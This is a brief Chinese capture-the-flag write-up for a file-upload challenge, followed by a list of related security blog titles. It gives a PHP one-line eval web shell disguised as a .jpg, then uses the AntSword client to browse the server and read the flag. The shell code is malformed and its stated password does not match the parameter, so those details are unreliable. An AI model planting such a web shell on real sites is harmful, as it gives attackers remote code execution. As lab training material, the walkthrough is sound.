题目
1.打开靶机
随便上传一个图片，查看get请求发现**/upload/XXX.jpg**
2.创建一个脚本文件
命名为flag.php.jpg,并上传
脚本文件内容：
<?php @eval($_POST1234)?>
3上传后复制文件get请求的链接并打开蚁剑
连接密码为123
双击链接
4，查找'/'在最下面找到flag文件
5，打开文件得到flag
相关推荐
treesforest2 小时前
IP定位技术在网络犯罪侦查中的应用与价值笨鸟先飞，勤能补拙3 小时前
AI 赋能网络安全：技术全景、成熟度评估与实战案例笨鸟先飞，勤能补拙5 小时前
AI 赋能网络安全领域深度剖析HackTwoHub6 小时前
轻量化AI渗透武器库｜ARTEX自主攻防系统、资产梳理、漏洞挖掘、链路分析全流程智能化落地早睡早起身体好1239 小时前
为什么 Network 中会出现两个同名请求？——CORS 预检请求学习笔记niaiheni9 小时前
红队实战：记一次Spring Cloud Gateway SpEL表达式注入到哥斯拉内存马（CVE-2022-22947）菩提小狗12 小时前
每日安全情报报告 · 2026-07-31笨鸟先飞，勤能补拙14 小时前
下一个十年：网络安全正在被重写游戏开发爱好者815 小时前
TraceEagle 代理抓包详解，无感代理、去证书绑定与 HTTP/3 解密能力解析Chengbei1116 小时前
云存储桶漏洞检测工具OSS-2.0更新，全类型文件解析，存储桶遍历 + 敏感排查一站式完成渗透取证